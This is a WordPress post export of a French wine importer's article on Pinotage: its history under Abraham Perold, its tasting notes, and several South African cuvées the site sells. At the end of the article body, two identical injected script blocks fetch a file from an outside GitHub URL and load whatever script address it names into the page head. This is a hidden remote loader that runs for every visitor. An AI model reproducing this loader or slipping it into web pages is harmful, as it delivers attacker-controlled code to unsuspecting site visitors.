{"id":5366,"date":"2021-10-21T16:43:27","date_gmt":"2021-10-21T15:43:27","guid":{"rendered":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/?p=5366"},"modified":"2024-10-29T14:18:15","modified_gmt":"2024-10-29T13:18:15","slug":"le-pinotage-cepage-star-de-lafrique-du-sud","status":"publish","type":"post","link":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/","title":{"rendered":"Le Pinotage ! C\u00e9page star de l&rsquo;Afrique du Sud"},"content":{"rendered":"<p style=\"text-align: justify;\">Depuis environ un si\u00e8cle, le <strong>Pinotage<\/strong> est devenu le c\u00e9page favori des <a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/\" target=\"_blank\" rel=\"noopener\">vins sud-africains.<\/a> En mono c\u00e9page ou en assemblage, il offre une palette aromatique unique ! Il devient au fil des ans l\u2019identit\u00e9 du terroir sud-africains.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Mais_dou_vient_ce_cepage_Et_comment_doit_on_le_deguster\" >Mais d\u2019o\u00f9 vient ce c\u00e9page ? Et comment doit on le d\u00e9guster ?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Perold_createur_de_Pinotage\" >Perold, cr\u00e9ateur de Pinotage<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Le_pinotage_vin_dAfrique_du_Sud_quelle_typicite\" >Le pinotage, vin d\u2019Afrique du Sud, quelle typicit\u00e9 ?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Les_Rouges-_Cest_bien_sur_le_terrain_de_jeu_ideal_du_Pinotage\" >Les Rouges- C\u2019est bien s\u00fbr le terrain de jeu id\u00e9al du Pinotage.<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Kleine_Rust_red\" >Kleine Rust red<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Footprint_Merlot-Pinotage\" >Footprint Merlot-Pinotage<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Fort_Simon\" >Fort Simon<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Terra\" >Terra<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#Cornerstone\" >Cornerstone<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/le-pinotage-cepage-star-de-lafrique-du-sud\/#MCC\" >MCC<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Mais_dou_vient_ce_cepage_Et_comment_doit_on_le_deguster\"><\/span>Mais d\u2019o\u00f9 vient ce c\u00e9page ? Et comment doit on le d\u00e9guster ?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-5369 size-large\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-1024x684.jpg\" alt=\"Pinotage\" width=\"474\" height=\"317\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-1024x684.jpg 1024w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-300x200.jpg 300w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-768x513.jpg 768w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-1536x1025.jpg 1536w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_24-2048x1367.jpg 2048w\" sizes=\"(max-width: 474px) 100vw, 474px\" \/><\/p>\n<h3 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Perold_createur_de_Pinotage\"><\/span>Perold, cr\u00e9ateur de Pinotage<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\">C&rsquo;est Abraham Perold qui a cr\u00e9\u00e9 un croisement entre le Pinot Noir et le Cinsault en 1925. Et il est loin de penser qu\u2019avec ce c\u00e9page il va devenir c\u00e9l\u00e8bre. Son nom, <strong>Pinotage<\/strong> rappelle \u00e0 la fois le Pinot Noir (Pinot) et l\u2019Hermitage (Tage) qui est l&rsquo;autre nom du Cinsault dans le vignoble sud-africain.<\/p>\n<p style=\"text-align: justify;\">Perold, chercheur \u00e0 l\u2019universit\u00e9 de Stellenbosch au c\u0153ur des vignes sud-africaines, compte sur la robustesse de l\u2019Hermitage et la finesse du Pinot Noir pour cr\u00e9er un beau c\u00e9page.<\/p>\n<p style=\"text-align: justify;\">Cependant, l\u2019histoire ne s\u2019arr\u00eate pas l\u00e0. Car Perold quitte l\u2019universit\u00e9 et les quelques plants de <strong>Pinotage<\/strong> sont laiss\u00e9s \u00e0 l\u2019abandon dans les jardins de l\u2019universit\u00e9. C\u2019est Charlie Niehaus qui va finalement replanter ces pieds au coll\u00e8ge d\u2019Elsenburg. Ainsi CJ Theron va les greffer sur le porte-greffe Richter 99 et 57 pour en faire le Pinotage que l&rsquo;on conna\u00eet aujourd&rsquo;hui. A la fin des ann\u00e9es 50, on trouve pour la premi\u00e8re fois une implantation commerciale de ce c\u00e9page et donc les premi\u00e8res cuv\u00e9es \u00e0 base de <strong>Pinotage<\/strong>.<\/p>\n<p style=\"text-align: justify;\">C\u2019est en 1953 que PK Morkel le propri\u00e9taire du c\u00e9l\u00e8bre domaine de Bellevue et Paul Sauer de Kanonkop d\u00e9cident de planter ce c\u00e9page alors compl\u00e8tement inconnu. D\u00e9s 1960 leur audace est r\u00e9compens\u00e9e ! Et le Pinotage de Bellevue remporte le tr\u00e8s convoit\u00e9 \u00abBest Wine\u00bb au General Smuts Trophy (concours le plus prestigieux pour les vins sud-africains).<\/p>\n<p style=\"text-align: justify;\">A la suite de cela, de nombreux producteurs commencent \u00e0 implanter le <strong>Pinotage<\/strong> avec plus ou moins de r\u00e9ussite. Ce c\u00e9page rencontre un franc succ\u00e8s gr\u00e2ce \u00e0 sa pr\u00e9cocit\u00e9 et sa culture relativement facile. Mais sa vinification demande un grand savoir faire.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-5368 size-large\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-1024x684.jpg\" alt=\"Vendanges Pinotage \" width=\"474\" height=\"317\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-1024x684.jpg 1024w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-300x200.jpg 300w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-768x513.jpg 768w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-1536x1025.jpg 1536w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/StellenrustHarvest2_16-2048x1367.jpg 2048w\" sizes=\"(max-width: 474px) 100vw, 474px\" \/><\/p>\n<h3 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Le_pinotage_vin_dAfrique_du_Sud_quelle_typicite\"><\/span>Le pinotage, vin d\u2019Afrique du Sud, quelle typicit\u00e9 ?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\">Le <strong>Pinotage<\/strong> est principalement implant\u00e9 en Afrique du Sud m\u00eame si certains producteurs am\u00e9ricains, br\u00e9siliens ou n\u00e9o-z\u00e9landais s\u2019y essayent.<\/p>\n<p style=\"text-align: justify;\">Le <strong>Pinotage<\/strong> est un c\u00e9page qui se r\u00e9v\u00e8le complexe avec une aromatique variant des fruits noirs, \u00e0 la noix de coco en passant par des notes \u00e9pic\u00e9s, poivr\u00e9s, et fum\u00e9es. Avec de la garde les tannins s\u2019arrondissent et offre une belle rondeur au vin. La mode est aujourd\u2019hui \u00e0 ce que les sud-africains appellent le coffee pinotage. C&rsquo;est un Pinotage avec des ar\u00f4mes de caf\u00e9 tr\u00e8s prononc\u00e9s.<\/p>\n<p style=\"text-align: justify;\">Le <strong>Pinotage<\/strong> peut-\u00eatre vinifi\u00e9 en rouge, ros\u00e9 mais il peut-\u00eatre aussi utilis\u00e9 pour faire le fameux champagne sud-africain appel\u00e9 Cap Classique. Ou m\u00eame pour en faire des vins dans le style des Portos. On l\u2019utilise aussi beaucoup dans des assemblages avec le Cabernet Sauvignon, le Merlot et m\u00eame la Shiraz, il prend alors le nom de \u00abCape Blend\u00bb en traduction litt\u00e9rale \u00abAssemblage du Cap\u00bb.<\/p>\n<p style=\"text-align: justify;\">En vinification, l\u2019\u0153nologue doit \u00eatre particuli\u00e8rement vigilent \u00e0 l\u2019acidit\u00e9 volatile (note de vinaigre de framboise) et l\u2019ac\u00e9tate d\u2019isoamyle (notes de peinture). Mais il semblerait que des vinifications \u00e0 froid \u00e9vitent ce type de d\u00e9sagr\u00e9ments. Le maintien d\u2019une bonne acidit\u00e9 est aussi tr\u00e8s importante afin que le <strong>Pinotage<\/strong> reste frais.<\/p>\n<p style=\"text-align: justify;\">La production du <strong>Pinotage<\/strong> sud-africain a fortement progr\u00e9ss\u00e9e ces derni\u00e8res ann\u00e9es et trouve son terrain de pr\u00e9dilection sur les parcelles en Bush Vines vendang\u00e9s \u00e0 la main et sur des veilles vignes. Il craint le stress hydrique et de ce fait pr\u00e9f\u00e8re souvent des terres relativement profondes. Il est aussi sujet au millerandage qui peut lui amener des go\u00fbts v\u00e9g\u00e9taux.<\/p>\n<h3 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Les_Rouges-_Cest_bien_sur_le_terrain_de_jeu_ideal_du_Pinotage\"><\/span>Les Rouges- C\u2019est bien s\u00fbr le terrain de jeu id\u00e9al du Pinotage.<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: justify;\"><img decoding=\"async\" class=\"alignnone wp-image-5375 size-large\" style=\"font-size: 16px; font-weight: 400;\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610-1024x768.jpg\" alt=\"Afrique du Sud - Pinotage \" width=\"474\" height=\"356\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610-1024x768.jpg 1024w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610-300x225.jpg 300w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610-768x576.jpg 768w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610-1536x1152.jpg 1536w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/10\/DSC01610.jpg 2048w\" sizes=\"(max-width: 474px) 100vw, 474px\" \/><\/h3>\n<h3><span class=\"ez-toc-section\" id=\"Kleine_Rust_red\"><\/span><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/stellenrust\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-4349\" style=\"text-align: justify;\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/Kleine-rust-red-e1616081016419.png\" alt=\"Kleine Rust Pinotage Shiraz\" width=\"60\" height=\"210\" \/><\/a>Kleine Rust red<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\">On peut le trouver en assemblage o\u00f9 il forme le fameux \u00ab<em>cape blend<\/em>\u00bb. Stellenrust propose avec sa cuv\u00e9e <a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/stellenrust\/\" target=\"_blank\" rel=\"noopener\">Kleine Rust<\/a> un assemblage de <em><strong>Pinotage<\/strong> et de Shiraz<\/em>. Le vin id\u00e9al pour une premi\u00e8re approche du Pinotage. Avec ces notes de fuits noirs, d\u2019\u00e9pices et de torr\u00e9faction. Un vrai vin de copain qui pourra s\u2019accommoder aussi d\u2019un Bobotie.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: right;\"><span class=\"ez-toc-section\" id=\"Footprint_Merlot-Pinotage\"><\/span>Footprint Merlot-Pinotage<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/foot-print\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-3338\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/11\/footprint-mp-e1634832002207.jpg\" alt=\"Footprint Merlot Pinotage \" width=\"69\" height=\"219\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/11\/footprint-mp-e1634832002207.jpg 163w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/11\/footprint-mp-e1634832002207-94x300.jpg 94w\" sizes=\"(max-width: 69px) 100vw, 69px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Avec plus de puissance, <a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/foot-print\/\" target=\"_blank\" rel=\"noopener\">Footprint<\/a> propose un <em>assemblage de Merlot et <strong>Pinotage<\/strong><\/em> qui va plut\u00f4t vers des notes de cassis et une pointe fum\u00e9e. A conseiller sur un Brai- le barbecue sud-africain.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Fort_Simon\"><\/span>Fort Simon<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/fort-simon\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-4324\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/FS-pinotage-e1616085120787.png\" alt=\"Fort simon Pinotage \" width=\"62\" height=\"231\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/FS-pinotage-e1616085120787.png 139w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/FS-pinotage-e1616085120787-81x300.png 81w\" sizes=\"(max-width: 62px) 100vw, 62px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Bien s\u00fbr, le Pinotage sud-africain se cultive aussi en mono-c\u00e9page. Et c\u2019est l\u00e0 que vous pourrez saisir au mieux sa typicit\u00e9. A ce petit jeu, <a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/fort-simon\/\" target=\"_blank\" rel=\"noopener\">Fort Simon<\/a> a de nombreux atouts avec son terroir d\u2019exception lov\u00e9 au fin fond de la Colline de Botterlary. Fort Simon Pinotage, c\u2019est le grand vin avec de la concentration des notes fum\u00e9s. Un vin extrait tannique, puissant. Apr\u00e8s un carrafage il fera fureur sur une belle table.<\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Terra\"><\/span>Terra<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/terra\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-5072\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/terra-stellenrust.jpg-e1615561626280-325x1024.png\" alt=\"Terra pinotage \" width=\"92\" height=\"289\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/terra-stellenrust.jpg-e1615561626280-325x1024.png 325w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/terra-stellenrust.jpg-e1615561626280.png 381w\" sizes=\"(max-width: 92px) 100vw, 92px\" \/><\/a><\/p>\n<p class=\"_04xlpA direction-ltr align-justify para-style-body\" style=\"text-align: justify;\"><span class=\"JsGRdQ\"><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/terra\/\" target=\"_blank\" rel=\"noopener\">Terra Pinotage<\/a> est issu d&rsquo;une s\u00e9lection de raisins avec de fortes maturit\u00e9s ph\u00e9noliques, puis mac\u00e9ration \u00e0 froid (et oui ! ) en cuve ouverte pendant 24 heures. La cuvaison reste assez courte (4 jours), mais avec des pig<\/span><span class=\"JsGRdQ\">eages toutes les 2 heures. Avec comme objectif d&rsquo;extraire de la couleur mais de garder des tannins souples. La fermentation se termine en cuves. Elevage en f\u00fbts de diff\u00e9rents niveaux de chauffe sur 20 % de la cuv\u00e9e. <\/span><span class=\"JsGRdQ\">Notes de framboise, de p\u00eache m\u00fbre et de cerise noire avec de subtiles nuances vanill\u00e9es et toast\u00e9es. Une bouche juteuse avec une finale fraiche, d\u00e9licate et persistante.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cornerstone\"><\/span>Cornerstone<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/stellenrust\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-4354\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/S-corner-stone-e1616082337716.png\" alt=\"\" width=\"72\" height=\"223\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/S-corner-stone-e1616082337716.png 167w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2019\/10\/S-corner-stone-e1616082337716-97x300.png 97w\" sizes=\"(max-width: 72px) 100vw, 72px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Chez <a href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/importateur-vins-afrique-du-sud\/stellenrust\/\" target=\"_blank\" rel=\"noopener\">Stellenrust<\/a>, on retrouve la cuv\u00e9e Corner Stone en 100% pinotage. I<span class=\"JsGRdQ\">ssu de vignes de plus de 45 ans sur la colline de Bottelary, avec de tr\u00e8s faibles rendements. Le terroir de Corner Stone est un m\u00e9lange de granites et d&rsquo;argile rouge. Il pr\u00e9sente des n<\/span><span class=\"JsGRdQ\">otes de framboise, p\u00eache m\u00fbre et cerise noire, finement bois\u00e9es. Tannins souples, la bouche est chaleureuse et la finale \u00ab sweet and sour \u00bb , avec une acidit\u00e9 rafraichissante.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"MCC\"><\/span>MCC<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-5098 alignleft\" src=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/MCC-e1616082225446-302x1024.png\" alt=\"\" width=\"67\" height=\"227\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/MCC-e1616082225446-302x1024.png 302w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/MCC-e1616082225446-88x300.png 88w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/MCC-e1616082225446-453x1536.png 453w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2021\/03\/MCC-e1616082225446.png 477w\" sizes=\"(max-width: 67px) 100vw, 67px\" \/>Le Pinotage- c\u2019est aussi les champagnes sud-africain- le fameux Cap Classique. La M\u00e9thode Cap Classique garantie en Afrique du Sud une vinification de type champenoise avec une prise de mousse en bouteille.\u00a0 Continent du Vin vous propose un Cap Classique de chez Stellenrust avec des bulles d\u2019une extr\u00eame finesse gr\u00e2ce \u00e0 plus de 30 mois sur latte. Le Pinotage vient pour sa part donn\u00e9 sa couleur Ros\u00e9 \u00e0 ce Cap Classique et des notes d\u2019\u00e9pices et de fruits rouges qui le rende unique.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Le pinotage n\u2019a plus de secret pour vous, alors \u00e0 votre sant\u00e9 !<\/p>\n<p><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Depuis environ un si\u00e8cle, le Pinotage est devenu le c\u00e9page favori des vins sud-africains. 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